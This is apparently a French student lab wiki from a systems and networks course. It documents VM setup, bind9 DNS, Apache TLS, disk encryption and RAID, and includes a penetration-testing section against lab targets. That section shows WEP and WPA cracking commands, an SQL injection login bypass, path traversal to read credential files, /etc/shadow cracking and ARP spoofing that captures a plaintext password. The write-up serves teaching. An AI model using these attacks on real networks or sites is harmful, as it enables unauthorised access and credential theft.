TP sysres IMA5sc 2020/2021 G6

De Wiki d'activités IMA
Révision datée du 9 décembre 2020 à 18:12 par Tmoinat (discussion | contributions) (Configuration de bind9)

Création de la machine virtuelle

Pour créer la machine virtuelle, une fois connecté sur le serveur capbreton, la commande utilisée est la suivante :

 ssh capbreton.plil.info
 su -
 xen-create-image --hostname=morillon --dist=buster --ip=100.64.0.21 --netmask=255.255.255.240 --dir=/usr/local/xen/ --gateway=100.64.0.5 --force

Cependant, nous obtenions une erreur de type mkswap absent.

Pour répondre à ce problème, nous avons essayé de recompiler la dernière version des linux-utils, de les configurer et de les installer.

Cela a bien fonctionné mais n'a pas répondu au problème et finalement a fait bugué l'ensemble du serveur capbreton.

Pour récupérer des utilitaires fonctionnels, M. Redon a dû réinstaller les utilitaires depuis la commande apt en vérifiant les numéros de version au préalable.

La prochaine fois, nous ferons bien attention à rajouter un tiret pour se connecter en root (su -)...

Pour créer les disques virtuels, au préalable, commande pvcreate sur les disques physiques

 lvcreate /dev/sde /dev/sdf storage pour créer le volume logique
 lvcreate -L10G -n JeandedieuTheauX storage

Pour créer deux partitions logiques.

Pour les monter dans les dossier /var et /home de la VM, nous les formattons (mkfs.ext4) Puis modifions le fichier de configuration de la VM --> ajout des lignes

 'phy:/dev/storage/JeandedieuTheauX,xvdavY,w'
 X=[1 || 2]; Y = [3 || 4]

Au passage, nous modifions la ligne vif --> ajout à la fin du bridge :

 bridge=IMA5sc

Après le boot de la VM :

 xl create -c /etc/xen/morillon.cfg 
 xl console morillon (si active) 

Nous modifions le fichier '/etc/fstab pour monter automatiquement les dossiers /var et /home sur les partitions xvdav.

Tests d'intrusion

Cassage de clef WEP d'un point d'accès WiFi

Dans cette partie, nous avons chercher à effectuer une intrusion sur un point d'accès WiFi

Nous avons pour cela installé le paquetage aircrack-ng qui est un programme de surveillance des réseaux sans fil

Il permet de ce fait d'effectuer un cassage des clés WEP ou WPA par exemple

Dans un premier temps nous allons utiliser le programme pour cracker un des points d'accès : cracotte06

Nous retrouvons le nom de son BSSID et son channel grâce à la commande suivante :


BSSID

Nous effectuer la commande iwconfig pour retrouver le nom de notre interface wifi

Grâce aux deux commandes suivantes lancées dans deux terminaux différents aircrack-ng.

capture de paquets

Comme on le voit sur les deux captures d'écran ci-dessous, nous retrouvons notre clé en Hexadecimal

clef trouvée

Intrusion sur un serveur d’application Web

L'objectif de cette intrusion est de réussir à trouver un mot de passe sur le site honey.plil.info

Pour cela, plusieurs techniques ont été utilisées notamment les méthodes d'injection ou d'exploration de système fichiers

La première étape consistait à utitliser la méthode d'injection en tapant sur http://honey.plil.info/ l'instruction

Identifiant : 'OR 1=1#
Mot de passe : 'OR 1=1#

Ce qui nous a permis d'obtenir le mot de passe admin de la page http://honey.plil.info/index.php

admin	*****	admin	Administrateur

Une fois connecté avec les identifiants administrateurs que nous venions de récupérer,

nous avons utilisé la technique de parcours de fichier.

On retrouver ainsi en créant le fichier /etc/phpmyadmin/config-db.php

Ce qui nous a permis de récupérer le fichier config-db.php

Voici le contenu du fichier :

$dbuser='phpmyadmin';
$dbpass='*****';
$basepath=;
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306'; 
$dbtype='mysql';

On disposait ainsi du mot de passe ainsi que de l'identifiant de la page http://honey.plil.info/phpmyadmin/

en clair

Nous nous sommes connectés en root

Et nous avons obtenus le mot de passe au niveau de l'arborescence test/

Arrivé à cette étape nous nous sommes connectés en ssh sur la machine physique

ssh rex@honey.plil.info 
mot de passe : ****

On a installé l'utilitaire shadow

cat /etc/shadow touch file ... Add first line in fil .... Uncrypt with john


Brute-force sur WPA-PSK

Pour commencer, la carte passe en mode monitor :

   airmon-ng start wlan0

Puis une analyse des réseaux wifi disponible est effectuée :

   airodump-ng wlan0mon

On sélectionne notre réseau wifi (ici kracotte 6) avec son adresse MAC

   airodump-ng -c 3 --bssid 00:14:1B:60:8C:25 -w /home/pifou/Desktop/kracotte6 wlan0mon


Handshaked grp6 2021.png

Lorsque le handshake est obtenu, on compare grâce à un dictionnaire et la commande le fichier .cap récupéré:

    aicrack-ng -a2 -b 00:14:1B:60:8C:25 -w dico.txt kracotte06-02.cap

Pour créer le dictionnaire, on utilise la commande crunch (comme on sait que le mot de passe est sur 8 caractères et forcément un nombre)

   crunch 8 8 0123456789 -o ./dico.txt

Aircrack working grp6 2021.png

Finalement, après un peu moins d'1h d'attente :

Aircrack done grp6 2021.png

Attaque de type "homme au milieu" par usurpation ARP

Dans cette partie nous allons effectuer une attaque de type "homme du milieu" en faisant passé notre ordinateur pour la passerelle.

Nous l'avons réalisé en ces étapes :

1. Installation du paquetage dsniff sur notre ordinateur 
2. Modification du fichier /proc/sys/net/ipv4/ip_forward à 1
3. Dans le terminal : arpspoof -i eth0 -t 172.26.145.70 172.26.145.254
4. Dans un autre terminal : arpspoof -i eth0 -t 172.26.145.70 172.26.145.254
5. Ouverture de wireshark sur l'eeepc et filtrage des paquets capturés sur le type hit
6. Ouverture d'un site http (http://fabricarium.polytech-lille.fr)
7. Observation sur wireshark des paquets (méthode GET)
8. En essayant de nous connecter en remplissant les identifiants, nous avons eu ce résultat :
892    27.057577298    172.26.145.70    193.48.57.233    HTTP    1118    GET http://fabricarium-old.polytech-lille.fr/ HTTP/1.1
987    38.734920206    172.26.145.70    193.48.57.233    HTTP    1383    POST http://fabricarium-old.polytech-lille.fr/users/sign_in.json HTTP/1.1  (application/json)
995    39.815022272    172.26.145.70    193.48.57.233    HTTP    1444    POST http://webmailportal2.polytech-lille.fr/?_task=mail&_action=refresh HTTP/1.1  (application/x-www-form-urlencoded)
1523    99.814090449    172.26.145.70    193.48.57.233    HTTP    1444    POST http://webmailportal2.polytech-lille.fr/?_task=mail&_action=refresh HTTP/1.1  (application/x-www-form-urlencoded)
Frame 987: 1383 bytes on wire (11064 bits), 1383 bytes captured (11064 bits) on interface 0
Ethernet II, Src: IntelCor_8f:f7:d3 (00:15:17:8f:f7:d3), Dst: HewlettP_01:ed:ce (5c:b9:01:01:ed:ce)
Internet Protocol Version 4, Src: 172.26.145.70, Dst: 193.48.57.233
Transmission Control Protocol, Src Port: 53876, Dst Port: 3128, Seq: 14532, Ack: 11925, Len: 1317
Hypertext Transfer Protocol
JavaScript Object Notation: application/json
   Object
       Member Key: user
           Object
               Member Key: email
                   String value: mail@mail.com
                   Key: email
               Member Key: password
                   String value: motdepasse
                   Key: password
           Key: user

Connexion de la VM au net

Après plusieurs modifications par nos camarades et professeurs sur le serveur, nous avons eu la marche à suivre afin de configurer correctement la VM pour la connecter au web.

Pour cela, nous avons modifié le fichier /etc/network/interfaces pour avoir la configuration suivante :

Screenshot config morillon.png

Nous avons donc comme configuration l'adresse web 193.48.57.183 vue par l'extérieur, un routage sur l'adresse 100.64.0.23 sur l'OSPF qui correspond au réseau virtuel via le VLAN 333 et l'adresse routeur 100.64.0.2. Le mot clé src indique que les paquets à destination du 193.x.x.x est à destination de l'ip du VLAN.

Par la suite, une route doit être créée sur l'OSPF pour connecter correctement la VM sur le VLAN au web, une simple commande grâce au minicom :

   enable
     conf t
       vlan 333
       ip route 193.48.57.183 255.255.255.255 100.64.0.23


Pour accéder via ssh à la machine, il suffit de s'y connecter via les identifiants habituels.

Modification host DNS et configuration de bind9

Modification sur gandi.net

Afin d'être identifiable sur le net, nous avons besoin d'un DNS sur notre VM.

Pour cela, nous créons un glue record sur gandi.net pour morillon avec l'adresse web externe : 193.48.57.183 en attribuant comme nameserver ns1.morillon.website

Ainsi, nous pouvons exporter le DNS sur notre serveur tel que le nameserver 1 est le notre : ns1.morillon.website et le 2, comme adressage de secours : ns6.gandi.net

Malheureusement, bien qu'on ait demandé à gandi d'exporter le nameserver le dimanche 1er novembre vers 12h30, celui-ci n'a pas pris en compte notre demande.

Elle fut redemandé le 2 novembre...


MàJ du 16/11:

Après vérification, une erreur de type couillon sur le glue record a probablement empêché le bon déroulement de l'opération : l'adresse ip renseignée était 193.57.48.183 au lieu de 193.48.57.183...

MàJ du 30/11:

Migration réussie

MàJ du 09/12:

Après plusieurs modifications, le site est up et la page par défaut d'apache2 avec une petite modification pour confirmer le fonctionnement.

Configuration de bind9

Après installation

   apt install bind9

nous avons configuré bind9 dans le dossier local de la VM

   /etc/bind/

Le fichier db.morillon.website a été créé. Nous y avons ajouté les lignes suivantes :

BIND data file for local loopback interface;
$TTL    604800
@       IN      SOA     ns1.morillon.website. postmaster.morillon.website. (
                             3         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.morillon.website.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.183

MàJ du 09/12

Plusieurs modifications ont été effectuées sur le ficiher db.morillon.website:

Modification des A record, serveur mail et web, passage au serial contenant date de modification:

   ;BIND data file for local loopback interface
   ;
   $TTL    86400
   @       IN      SOA     ns1.morillon.website. postmaster.morillon.website. (
                    2020120705         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                         86400 );       ; Negative Cache TTL

  @        IN      NS      ns1.morillon.website.
  @        IN      NS      ns6.gandi.net.
  @        IN	    MX	    100 mail
  mail	    IN	    A	    193.48.57.183
  ns1	    IN	    A       193.48.57.183
  www	    IN	    CNAME   ns1

mail passé en A car warning de bind9 alertant l'illégalité d'un mail en CNAME

Ajout d'une zone inverse dans le fichier db.193:

  ; BIND reverse data file for local loopback interface
  ;
  $TTL	604800
  @	IN	SOA	ns1.morillon.website. postmaster.morillon.website. (

2020120703 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL

  ;
  @	IN	NS	ns1.
  183	IN	PTR	ns1.morillon.website.
  183	IN 	PTR	mail.morillon.website.

Avec une entrée pour chaque A record

Modification du fichier named.conf.options :

   ...
   	listen-on-v6 { any; };
       listen-on { any; };
       allow-recursion {127.0.0.1; 193.48.57.183; 217.70.177.40;};
       allow-query-cache {127.0.0.1; 193.48.57.183;};
   ...

Ajout de l'IP publique et du dns gandi pour les récursions, query-cache réduit pour empêcher usurpation Des request denied dans le log confirme le bon fonctionnement :

   ...
   Dec  9 08:42:51 morillon named[1923]: client @0x7f1a44056fa0 88.80.186.137#43549 (193-48-57-183-5fd02192.spiderprobe.com): query (cache) \
   '193-48-57-183-5fd02192.spiderprobe.com/A/IN' denied
   Dec  9 11:07:56 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied
   Dec  9 11:07:57 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied
   Dec  9 11:07:57 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied
   ...

Sécurisation du serveur

Pour sécuriser le serveur et accéder à notre site web apache2, ce dernier a besoin d'un certificat.

Pour l'obtenir, nous avons tout d'abord créer un CSR et une private key dans le dossier home du serveur.

   openssl req -nodes -newkey rsa:2048 -sha256 -keyout morillon.key -out morillon.csr

Et fourni les éléments d'identification de notre serveur (localisation, nom commun, etc.)

Une fois le .csr et le .key créés, nous transmettons à gandi.net le CSR afin de générer un certificat signé.

Nous avons configué notre serveur pour recevoir des mails, pour cela, nous avons installé 2 paquets :

   postfix
   bsd-mailx

Puis nous avons ajouté un alias dans le fichier /etc/aliases

   admin:     root

Il est nécessaire de renseigner l'adresse du serveur mail dans le fichier DNS /etc/bind/db.morillon.website

   @     IN    MX 100 mail
   mail  IN    CNAME ns1
   ns1   IN    A   *adresse ip publique*

Grâce à

   mailx

Nous pouvons vérifier la présence de mail sur notre serveur et recevoir la demande d'authentification de gandi pour générer le certificat.

Une fois obtenue, nous avons 4 fichiers : .key (fichier private key) .csr (fichier certificate) .crt (certificat signé) et .pem (liste des certificats accordés aux autorités signant notre certificat)

Nous configurons par la suite apache2 pour utiliser ces certificats, dans le terminal :

   a2enmod ssl
   a2enmod headers
   service apache2 restart

Maintenant, nous créons un fichier de configuration pour notre serveur:

   touch /etc/apache2/sites-available/morillon.website.conf

Contenant :

   <VirtualHost *:80>
        Redirect permanent / https://www.morillon.website
   </VirtualHost>
   #Pour rediriger automatiquement les connexions http vers https
   <VirtualHost *:443>
       ServerName morillon.website
       ServerAlias www.morillon.website
       DocumentRoot "/var/www/morillon.website"
        <Directory "var/www/morillon.website">
           Options +FollowSymLinks
           AllowOverride all
           Require all granted
        </Directory>
       ErrorLog /var/log/apache2/error.morillon.website.log
       CustomLog /var/log/apache2/access.morillon.website.log combined
       #Paramètres de base pour notre site
       SSLEngine on
       SSLCertificateFile "/home/certificates/morillon.website.crt"
       SSLCertificateKeyFile "/home/certificates/morillon.key"
       SSLCertificateChainFile "/home/certificates/GandiStandardSSLCA2.pem"
       #Activation de la sécurité TLS, emplacement des certificats, de la clé privée et des listes de certificats intermédiaires
       SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2
       SSLHonorCipherOrder On
       SSLCipherSuite ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:HIGH:!MD5:!aNULL:!EDH:!RC4
       SSLCompression off
       #Quelques options de sécurité supplémentaires suites aux découvertes sur les failles TLS de 2014
   </VirtualHost>

Et nous avons désactivé les autres sites par défaut :

   a2dissite 000-default.conf
   a2dissite default-ssl.conf

Et activons notre site:

   a2ensite morillon.website.conf

Encryption Clé USB

Pour sécuriser une clé avec un mot de passe, nous avons utilisé cryptsetup. On s'assure d'abord de partir sur une clé toute propre :

   fdisk -l
   #sélection de la clé à formater
   fdisk /dev/sdb
   o #creation table MBR
   n #creation nouvelle partition
   w #écriture sur la clé

La commande crypsetup utilisée est la suivante :

   cryptsetup open --type plain /dev/sdb1 encryptedDevice
   #s'en suit une demande de mdp

Elle monte ensuite dans le dossier /dev/mapper et il devient possible de la formater :

   mkfs.ext4 /dev/mapper/encryptedDevice

Raid 5 Logiciel

Pour réaliser le raid 5 logiciel, on crée tout d'abord 3 partitions virtuelles via lvcreate:

   lvcreate -L1G -n JDDTTR5* storage

Ensuite on les lie à la VM dans le fichier /etc/xen/morillon.cfg comme pour les disques home et var.

Après redémarrage de la VM, on installe le paquet mdadm et on crée un raid 5 sur les 3 nouvelles partitions :

   mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvde /dev/xvdf /dev/xvdg

On peut vérifier la création grâce à :

   cat /proc/mdstat

qui nous renvoie :

   Personalities : [raid6] [raid5] [raid4] 
   md0 : active raid5 xvdg[3] xvdf[1] xvde[0]
        2093056 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]